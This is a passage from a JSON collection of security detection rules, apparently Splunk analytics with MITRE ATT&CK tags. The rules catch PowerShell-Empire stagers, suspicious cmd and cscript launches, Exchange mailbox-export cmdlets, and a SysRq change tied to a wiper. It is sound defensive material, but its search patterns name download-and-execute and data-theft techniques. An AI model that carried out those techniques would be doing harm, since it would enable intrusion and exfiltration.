"mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Empire with PowerShell Script Block Logging", - "description": "The following analytic detects suspicious PowerShell execution indicative of PowerShell-Empire activity. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze commands sent to PowerShell, specifically looking for patterns involving `system.net.webclient` and base64 encoding. This behavior is significant as it often represents initial stagers used by PowerShell-Empire, a known post-exploitation framework. If confirmed malicious, this activity could allow attackers to download and execute additional payloads, leading to potential code execution, data exfiltration, or further compromise of the affected system.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=*system.net.webclient* AND ScriptBlockText=*frombase64string*) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_empire_with_powershell_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following behavior was identified and typically related to PowerShell-Empire on $Computer$ by $UserID$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Prohibited Applications Spawning cmd exe", - "description": "The following analytic detects executions of cmd.exe spawned by processes that are commonly abused by attackers and do not typically launch cmd.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process GUID, process name, parent process, and command-line executions. This activity is significant because it may indicate an attempt to execute unauthorized commands or scripts, often a precursor to further malicious actions. If confirmed malicious, this behavior could lead to unauthorized code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` by Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` |search [`prohibited_apps_launching_cmd_macro`] | `detect_prohibited_applications_spawning_cmd_exe_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Suspicious Command-Line Executions", - "Suspicious MSHTA Activity", - "Suspicious Zoom Child Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ running prohibited applications.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect suspicious processnames using pretrained model in DSDL", - "description": "The following analytic identifies suspicious process names using a pre-trained Deep Learning model. It leverages Endpoint Detection and Response (EDR) telemetry to analyze process names and predict their likelihood of being malicious. The model, a character-level Recurrent Neural Network (RNN), classifies process names as benign or suspicious based on a threshold score of 0.5. This detection is significant as it helps identify malware, such as TrickBot, which often uses randomly generated filenames to evade detection. If confirmed malicious, this activity could indicate the presence of malware capable of propagating across the network and executing harmful actions.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes by Processes.process_name Processes.parent_process_name Processes.process Processes.user Processes.dest | `drop_dm_object_name(Processes)` | rename process_name as text | fields text, parent_process_name, process, user, dest | apply detect_suspicious_processnames_using_pretrained_model_in_dsdl | rename predicted_label as is_suspicious_score | rename text as process_name | where is_suspicious_score > 0.5 | `detect_suspicious_processnames_using_pretrained_model_in_dsdl_filter`", - "tags": { - "analytic_story": [ - "Suspicious Command-Line Executions" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process$ is running from an unusual place by $user$ on $dest$ with a processname that appears to be randomly generated.", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Detect Use of cmd exe to Launch Script Interpreters", - "description": "The following analytic detects the execution of cscript.exe or wscript.exe processes initiated by cmd.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent processes within the Endpoint data model. This activity is significant as it may indicate script-based attacks or administrative actions that could be leveraged for malicious purposes. If confirmed malicious, this behavior could allow attackers to execute scripts, potentially leading to code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"cmd.exe\" (Processes.process_name=cscript.exe OR Processes.process_name =wscript.exe) by Processes.parent_process Processes.process_name Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `detect_use_of_cmd_exe_to_launch_script_interpreters_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Emotet Malware DHS Report TA18-201A", - "Suspicious Command-Line Executions" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "cmd.exe launching script interpreters $process_name$ on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Excessive distinct processes from Windows Temp", - "description": "The following analytic identifies an excessive number of distinct processes executing from the Windows\\Temp directory. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process paths and counts within a 20-minute window. This behavior is significant as it often indicates the presence of post-exploit frameworks like Koadic and Meterpreter, which use this technique to execute malicious actions. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, and maintain persistence within the environment, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process distinct_count(Processes.process) as distinct_process_count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_path = \"*\\\\Windows\\\\Temp\\\\*\" by Processes.dest Processes.user _time span=20m | where distinct_process_count > 37 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_distinct_processes_from_windows_temp_filter`", - "tags": { - "analytic_story": [ - "Meterpreter" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple processes were executed out of windows\\temp within a short amount of time on $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Excessive number of taskhost processes", - "description": "The following analytic identifies an excessive number of taskhost.exe and taskhostex.exe processes running within a short time frame. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and their counts. This behavior is significant as it is commonly associated with post-exploitation tools like Meterpreter and Koadic, which use multiple instances of these processes for actions such as discovery and lateral movement. If confirmed malicious, this activity could indicate an ongoing attack, allowing attackers to execute code, escalate privileges, or move laterally within the network.", - "search": "| tstats `security_content_summariesonly` values(Processes.process_id) as process_ids min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE Processes.process_name = \"taskhost.exe\" OR Processes.process_name = \"taskhostex.exe\" BY Processes.dest Processes.process_name _time span=1h | `drop_dm_object_name(Processes)` | eval pid_count=mvcount(process_ids) | eval taskhost_count_=if(process_name == \"taskhost.exe\", pid_count, 0) | eval taskhostex_count_=if(process_name == \"taskhostex.exe\", pid_count, 0) | stats sum(taskhost_count_) as taskhost_count, sum(taskhostex_count_) as taskhostex_count by _time, dest, firstTime, lastTime | where taskhost_count > 10 or taskhostex_count > 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_number_of_taskhost_processes_filter`", - "tags": { - "analytic_story": [ - "Meterpreter" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An excessive amount of taskhost.exe and taskhostex.exe was executed on $dest$ indicative of suspicious behavior.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Exchange PowerShell Module Usage", - "description": "The following analytic detects the usage of specific Exchange PowerShell modules, such as New-MailboxExportRequest, New-ManagementRoleAssignment, New-MailboxSearch, and Get-Recipient. It leverages PowerShell Script Block Logging (EventCode 4104) to identify these commands. This activity is significant because these modules can be exploited by adversaries who have gained access via ProxyShell or ProxyNotShell vulnerabilities. If confirmed malicious, attackers could export mailbox contents, assign management roles, conduct mailbox searches, or view recipient objects, potentially leading to data exfiltration, privilege escalation, or unauthorized access to sensitive information.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*New-MailboxExportRequest*\", \"*New-ManagementRoleAssignment*\", \"*New-MailboxSearch*\", \"*Get-Recipient*\", \"Search-Mailbox\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `exchange_powershell_module_usage_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-264A", - "CISA AA22-277A", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious Exchange PowerShell module usaged was identified on $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Execute Javascript With Jscript COM CLSID", - "description": "The following analytic detects the execution of JavaScript using the JScript.Encode CLSID (COM Object) by cscript.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and parent processes. This activity is significant as it is a known technique used by ransomware, such as Reddot, to execute malicious scripts and potentially disable AMSI (Antimalware Scan Interface). If confirmed malicious, this behavior could allow attackers to execute arbitrary code, evade detection, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"cscript.exe\" Processes.process=\"*-e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.parent_process Processes.process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `execute_javascript_with_jscript_com_clsid_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious process of cscript.exe with a parent process $parent_process_name$ where it tries to execute javascript using jscript.encode CLSID (COM OBJ), detected on $dest$ by $user$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - } - ] - } - }, - { - "name": "Jscript Execution Using Cscript App", - "description": "The following analytic detects the execution of JScript using the cscript.exe process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This behavior is significant because JScript files are typically executed by wscript.exe, making cscript.exe execution unusual and potentially indicative of malicious activity, such as the FIN7 group's tactics. If confirmed malicious, this activity could allow attackers to execute arbitrary scripts, leading to code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"cscript.exe\" AND Processes.parent_process = \"*//e:jscript*\") OR (Processes.process_name = \"cscript.exe\" AND Processes.process = \"*//e:jscript*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `jscript_execution_using_cscript_app_filter`", - "tags": { - "analytic_story": [ - "FIN7", - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with commandline $process$ to execute jscript in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } - }, - { - "name": "Linux Unix Shell Enable All SysRq Functions", - "description": "The following analytic detects the execution of a command to enable all SysRq functions on a Linux system, a technique associated with the AwfulShred malware. It leverages Endpoint Detection and Response (EDR) data to identify processes executing the command to pipe bitmask '1' to /proc/sys/kernel/sysrq. This activity is significant as it can indicate an attempt to manipulate kernel system requests, which is uncommon and potentially malicious. If confirmed, this could allow an attacker to reboot the system or perform other critical actions, leading to system instability or further compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"dash\", \"sudo\", \"bash\") Processes.process = \"* echo 1 > *\" Processes.process = \"*/proc/sys/kernel/sysrq\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_unix_shell_enable_all_sysrq_functions_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ execute sysrq command $process$ to enable all function of system request in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.004", - "mitre_attack_technique": "Unix Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Living Off The Land Detection", - "description": "The following correlation identifies multiple risk events associated with the \"Living Off The Land\" analytic story, indicating potentially suspicious behavior. It leverages the Risk data model to aggregate and correlate events tagged under this story, focusing on systems with a high count of distinct sources. This activity is significant as it often involves the use of legitimate tools for malicious purposes, making detection challenging. If confirmed malicious, this behavior could allow attackers to execute code, escalate privileges, or persist within the environment using trusted system utilities.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Living Off The Land\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 5 | `living_off_the_land_detection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Living Off The Land behavior has been detected on $risk_object$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - 